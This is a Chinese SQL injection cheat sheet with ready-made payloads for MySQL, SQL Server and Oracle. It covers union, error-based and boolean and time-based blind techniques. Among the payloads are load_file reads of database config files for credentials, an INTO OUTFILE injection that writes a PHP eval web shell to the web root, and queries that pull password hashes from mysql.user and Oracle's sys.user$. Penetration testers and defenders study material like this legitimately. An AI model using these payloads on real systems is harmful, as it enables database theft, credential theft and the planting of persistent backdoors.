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  • SQL注入速查笔记

    SQL 注入分类方式:

    提交方式:GET  POST COOKIE
    参数注入:数字型/字符型/搜索型
    数据库类型:ACCESS/Mysql/MSSQL/Oracle
    手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)

    0x01、Mysql

    Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0

    1.1 root权限

    load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径

    判断是否具有读写权限

    and (select count(*) from mysql.user)>0#
    and (select count(file_priv) from mysql.user)>#

    A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件

    注意:路径符号””错误 “”正确 “/”正确,转换成十六进制,不用“”

    id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)

    可以用来读取数据库连接文件获取数据连接账号、密码等

    ?id=1'and 1=2 union select 1,load_file('D:\wamp\www\111.php')%23
    ?id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23

    B、into outfile函数

    条件:1. 绝对路径 2.可以使用单引号

    ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
    ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

    1.2 MySQL联合查询

    1.2.1 适用于mysql低于5.0版本

    1.判断是否可以注入
        ?id=1 and 1=1,页面正常
        ?id=1 and 1=2,页面空白
    2.获得字段数
    order by的方法来判断,比如:
        ?id=1 order by 4   页面显示正常
        ?id=1 order by 5   页面出错,说明字段数等于4
    3.获得显示位
        ?id=1 and 1=2 union select 1,2,3,4 
        //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
    4.猜表名
        猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:
            ?id=1 and 1=2 union select 1,2,3,4 from users
        这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。
    
    5.猜字段
        使用:Concat(字段名)替换显示位的位置。
            ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

    1.2.2 适用于Mysql 5.0以上版本支持查表查列

    1.先判断是否可以注入
        and+1=1,页面正常
        and+1=2,页面空白
    2.获得字段数:使用order by
    提交:
        ?id=1 order by 4 正确。
        ?id=1 order by 5 错误。    
        那么,判断出字段数为4。
    3.获得显示位
    
    提交:   ?id=1 +and+1=2+union+select+1,2,3,4
    显示位为:234
    4.获取信息
        ?id=1 +and+1=2+union+select+1,2,3,version()
    
        database() 
        user()  
        version() 
        database()  
        @@basedir  数据库安装路径
        @@datadir  数据库路径
    5.查表
    ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--
    得到表:test
    
    6.查字段
        ?id=1 and 1=2 union select 1,2,3,column_name from 
    information_schema.columns where table_name=0x74657374 limit 0,1--
        得到字段:id,username,password
    7.爆字段内容
        ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

    1.3 MySQL报错注入

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

    多种报错注入方式:

    and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
    and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
    and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
    and GeometryCollection((select*from(select*from(select @@version)f)x))
    and polygon((select*from(select name_const(version(),1))x))
    and linestring((select * from(select * from(select user())a)b))
    and multilinestring((select * from(select * from(select version())a)b));
    and multipoint((select * from(select * from(select user())a)b));
    and multipolygon((select * from(select * from(select user())a)b));
    and exp(~(select * from(select version())a));

    1.4 MySQL盲注

    基于布尔型注入

    id=1 and (select length(user()))=20 # 返回正常页面  长度20位
    id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
    //截取username第一个数据的ascii值

    基于时间型注入

    1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
    1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

    0x02 SQLserver

    sa权限:数据库操作,文件管理,命令执行,注册表读取等

    Db权限:文件管理,数据库操作等

    Public权限:数据库操作

    2.1 SQLServer 联合查询

    1.判断是否存在注入
        ?id=1 and 1=1--  返回正确
        ?id=1 and 1=2--  返回错误
    
    2.获取字段数
        ?id=1 order by 2-- 返回正确页面  
        ?id=1 order by 3-- 返回错误页面    字段长度为2
    
    3.查看数据库版本
        ?id=1 and 1=2 union select  db_name(),null   //获得当前数据库
    
    4.查看表名
        ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users') 
    
    5.查看列名
        ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname')
    
    6.获取数据
        ?id=1 and 1=2 union select top 1 uname,null from users

    2.2 SQLServer 报错注入

    1.获取表名
    ?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )--
    2.获取列名
    ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --
    
    3.获取数据
    ?id=4' and 1=(select top 1 pwd from admin) --
    
    4.获取数据库信息
    ?id=1' and 1=(select @@version)--   //SQL Server 2000
    ?id=1' and 1=(select db_name())  //当前使用的数据库

    2.3 SQLServer 盲注

    1、猜表名
    
    ?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 --  //获取第一个表的长度7
    
    ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 --    //截取第一个表第一位的ascii码
    
    ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
    得到表名,进一步猜解字段
    
    2、猜字段
    id=1 and 
    (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1 
    //获取users表第一个字段的ASCII值
    
    id=1 and 
    (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass')  and ascii(substring(name,1,1))>90)=1  --
    //获取user表第二个字段的第一位ASCII值
    
    3、猜数据
    id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --  
    //获取users表中uname字段的第一位ASCII值

    0x03 Oracle

    3.1 联合查询

    Union select null,null,null   从第一个null开始加’null’,得到显示位
    Union select null,null,null from dual  返回正确,存在dual表
    Union Select tablespace_name from user_tablespaces    //查库
    Union Select table_name from user_tables where rownum = 1 and table_name<>’news’  //查表
    Union Select column_name from user_tab_columns where table_name=’users’  //查列
    ?id=1 order by 1-- //获取字段数
    and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本
    and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名
    union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
    union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
    and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

    3.2 手工显错注入

    最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限
    
    //判断是否是oracle
    ?id=1 and exists(select * from dual)--
    
     //获取库名
    ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-
    
    //获取数据库服务器所在ip
    ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- 
    
    ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--
    
    ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
    
    ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
    
    ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

    3.3 盲注

    布尔类型的盲注:

    ?id=7782' and length((SELECT name FROM v$database))=4--  获取数据库名长度
    
    ?id=7782'  and ascii(substr((SELECT name FROM v$database),1,1))=79-- 
    获取数据库名第一位为O

    基于时间延迟的盲注:

    ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--
    
    ?id=7782'  AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
    
    
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  • 原文地址:https://www.cnblogs.com/xiaozi/p/13860589.html
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